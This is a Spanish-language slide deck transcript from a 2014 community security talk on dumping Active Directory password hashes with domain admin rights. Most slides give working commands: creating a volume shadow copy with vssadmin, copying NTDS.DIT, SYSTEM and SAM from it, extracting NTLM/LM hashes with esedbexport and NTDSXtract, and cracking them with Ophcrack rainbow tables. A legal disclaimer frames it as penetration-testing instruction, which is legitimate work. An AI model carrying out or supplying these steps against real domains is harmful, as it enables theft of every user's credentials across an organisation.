Obtener contraseñas del directorio activo por hkm

21,372 views

Published on

Dumpeando hashes del controlador de dominio por @_hkm

Una plática rápida sobre una de las técnicas más redituables durante una prueba de penetración. Utilizando una cuenta con permisos de administrador de dominio mostraremos como dumpear todos los hashes en formato NTLM almacenados en el controlador de dominio del directorio activo.

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
21,372
On SlideShare
0
From Embeds
0
Number of Embeds
17,319
Actions
Shares
0
Downloads
46
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Obtener contraseñas del directorio activo por hkm

  1. 1. Como obtener contraseñas del directorio activo con permisos de Domain Admin Ing. Pedro Joaquín @_hkm Reunión de la Comunidad Underground de México 2014 28 de junio del 2014
  2. 2. Advertencia • El propósito de esta presentación es demostrar de manera práctica una técnica conocida de obtención de las contraseñas del Directorio Activo a partir de una cuenta con permisos de Domain Admin. • El autor, ni la organización que representa se responsabilizan por el mal uso que se le pueda dar a las técnicas mostradas a continuación. • El acceso no autorizado a sistemas o equipos de computo, conocer, copiar, modificar o destruir información, y la intervención de cuentas de correo son delitos sancionados en el Código Penal Federal. • Recomendamos informar a los usuarios que su contraseña puede ser observada por los administradores de la red.
  3. 3. Tres simples pasos 1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio. 2. Extraer los hashes de los archivos. 3. Descifrar (“Crackear”) los hashes.
  4. 4. Tres simples pasos 1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio. 2. Extraer los hashes de los archivos. 3. Descifrar (“Crackear”) los hashes.
  5. 5. Copiar los archivos NTDS.DIT y SYSTEM Crear un Volume Shadow Copy, Copiar los archivos del Volume Shadow, Borrar la Volume Shadow Copy
  6. 6. NTDS.DIT y SYSTEM NTDS.DIT Archivo donde se almacena toda la información del directorio activo. Se encuentra en %SystemRoot%ntdsNTDS.DIT. SYSTEM Contiene el registro SYSTEM el cual contiene la bootkey (SYSKEY) necesaria para extraer los hashes del NTDS.DIT. ** Los archivos se encuentran protegidos para que no se puedan copiar fácilmente. Es necesario extraerlos de una Volume Shadow Copy
  7. 7. Volume Shadow Copy • El Volume Shadow Copy eres un sistema de respaldo de unidades de Windows que permite crear copias de archivos ocultos como el NTDS.DIT, SYSTEM, SAM, etc. • Se puede utilizar el comando vssadmin list shadows para saber si existen copias creadas: C:>vssadmin list shadows vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001 Microsoft Corp. No items found that satisfy the query.
  8. 8. Crear una Volume Shadow Copy C:>vssadmin create shadow /for=c: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001 Microsoft Corp. Successfully created shadow copy for ‘c:’ Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3} Shadow Copy Volume Name: ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1 Se utiliza el comando vssadmin create shadow /for=c: para crear una copia de la unidad c:
  9. 9. Copiar los archivos del Volume Shadow Copy • Comandos para copiar los archivos requeridos al directorio actual: copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowsntdsntds.dit . copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSYSTEM . copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy[X]windowssystem32configSAM . [X] Es el identificador de la copia, ver diapositiva anterior. En algunos sistemas como Windows 2003 y 2008 la ruta windows puede variar a WINNT
  10. 10. Para borrar la Volume Shadow Copy C:> vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3
  11. 11. Extracción de los hashes Extraer las tablas con libesedb Extraer los hashes con NTDSXtract
  12. 12. Extracción de los hashes • Para extraer los hashes es necesario tener la tabla database y link del archivo NTDS.DIT y el archivo SYSTEM. • Utilizaremos las herramientas de libesedb para extraer las tablas del NTDS.DIR y posteriormente ntdsxtract para utilizar las tablas y el SYSTEM para obtener los hashes. • Estas herramientas corren en Linux.
  13. 13. Descarga e instalación de libesedb # wget http://libesedb.googlecode.com/files/libesedb-alpha- 20120102.tar.gz # tar -xzvf libesedb-alpha-20120102.tar.gz # cd libesedb-20120102 # ./configure # make # mv esedbtools/ /usr/local # cd esedbtools/
  14. 14. esedbexport (parte de libesedb) • Syntaxis: #./esedbexport –t <directorio de salida> <archivo ntds.dit> • Este comando tardará mucho. Aprox 25 minutos. Si en 25 minutos parece que no esta avanzando hay que presionar Enter para actualizarlo. • La salida de comando debe ser similar a la siguiente diapositiva…
  15. 15. # ./esedbexport -t ~/ntds ~/ntds.dit esedbexport 20120102 Opening file. Exporting table 1 (MSysObjects) out of 11. Exporting table 2 (MSysObjectsShadow) out of 11. Exporting table 3 (MSysUnicodeFixupVer1) out of 11. Exporting table 4 (datatable) out of 11. Exporting table 5 (link_table) out of 11. Exporting table 6 (hiddentable) out of 11. Exporting table 7 (sdproptable) out of 11. Exporting table 8 (sd_table) out of 11. Exporting table 9 (quota_table) out of 11. Exporting table 10 (quota_rebuild_progress_table) out of 11. Exporting table 11 (MSysDefrag1) out of 11. Export completed.
  16. 16. Nombres de archivos exportados # ls ~/ntdis.export/ MSysObjects.0 MSysObjectsShadow.1 MSysUnicodeFixupVer1.2 datatable.3 link_table.4 hiddentable.5 sdproptable.6 sd_table.7 quota_table.8 quota_rebuild_progress_table.9 MSysDefrag1.10 • No utilizaremos todos los archivos, únicamente el datatable3, link_table.4 y el SYSTEM.
  17. 17. Descarga e instalación de NTDSXtract # wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip # unzip ntdsxtract_v1_2_beta.zip # cd ntdsxtract_v1_2_beta
  18. 18. Extracción de hashes • # python dsusers.py ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 ~/TEMP --passwordhashes -- lmoutfile LM.out --ntoutfile NT.out --pwdformat ophc -- syshive ~/SYSTEM • Se ejecuta un comando similar donde le estamos diciendo la ubicación del datatable.3, link_table.4 y SYSTEM y esperando el resultado de los hashes en formato ophc (Ophcrack). Nos generará dos archivos uno de hashes, uno para LM LM.out y otro de hashes NT NT.out.
  19. 19. Descifrar (“Crackear”) los hashes Descargando Ophcrack, Obteniendo las Rainbow Tables, Crackeando los hashes
  20. 20. Rainbow tables • El cifrado NTLM se puede romper utilizando Rainbow Tables que son tablas precomputadas de hashes. • Las tablas recomendadas ya que son relativamente pequeñas y se pueden obtener fácilmente son las XP_Special y las Vista_Special. • Las tablas son gratuitas. El sitio oficial de las tablas es: http://sourceforge.net/projects/ophcrack/files/tables/ pero por simplicidad de la descarga y velocidad recomiendo utilizar los torrents de • http://thepiratebay.se/torrent/4467431/Ophcrack_XP_Special_Tables • http://thepiratebay.se/torrent/4403978/Ophcrack_Vista_Special_NTHASH_Table
  21. 21. Descargando e instalando Ophcrack • Ophcrack puede ser utilizado como un LiveCD o desde Windows. • Se descarga de http://ophcrack.sourceforge.net/ • En este tutorial utilizaremos la versión de Windows, la configuración es la misma en la versión LiveCD de Linux. • La diferencia principal es que la versión de LiveCD de Linux puede obtener automáticamente los hashes de la computadora donde se ejecuta.
  22. 22. Utilizando Ophcrack • En el menú principal de Ophcrack se seleccciona Load y PWDUMP file • Abrimos el archivo de las contraseñas NT.out y/o LM.out
  23. 23. Utilizando Ophcrack – Rainbow tables • En el menú principal de Ophcrack se seleccciona Tables y posteriormente Install. • Seleccionamos los directorios donde se encuentran las tablas Vista_special y XP_special. • Se recomienda habilitar una tabla a la vez, primero con XP_special.
  24. 24. Crackeando las contraseñas • En el menú principal de Ophcrack seleccciona Crack. • El proceso puede tomar varias horas, pero el resultado vale la pena… 
  25. 25. Como obtener contraseñas del directorio activo con permisos de Domain Admin Ing. Pedro Joaquín @_hkm Reunión de la Comunidad Underground de México 2014 28 de junio del 2014
  26. 26. Referencias • Código Penal Federal, en materia de delitos en contra de medios o sistemas informáticos: http://gaceta.diputados.gob.mx/Gaceta/61/2012/mar/20120328-III.html#DictamenaD2 • Getting Hashes from NTDS.dit file: http://blog.walkerville.org/?p=486 • libesedb: https://code.google.com/p/libesedb/ • NTDSXtract: http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip • Ophcrack: http://ophcrack.sourceforge.net/

×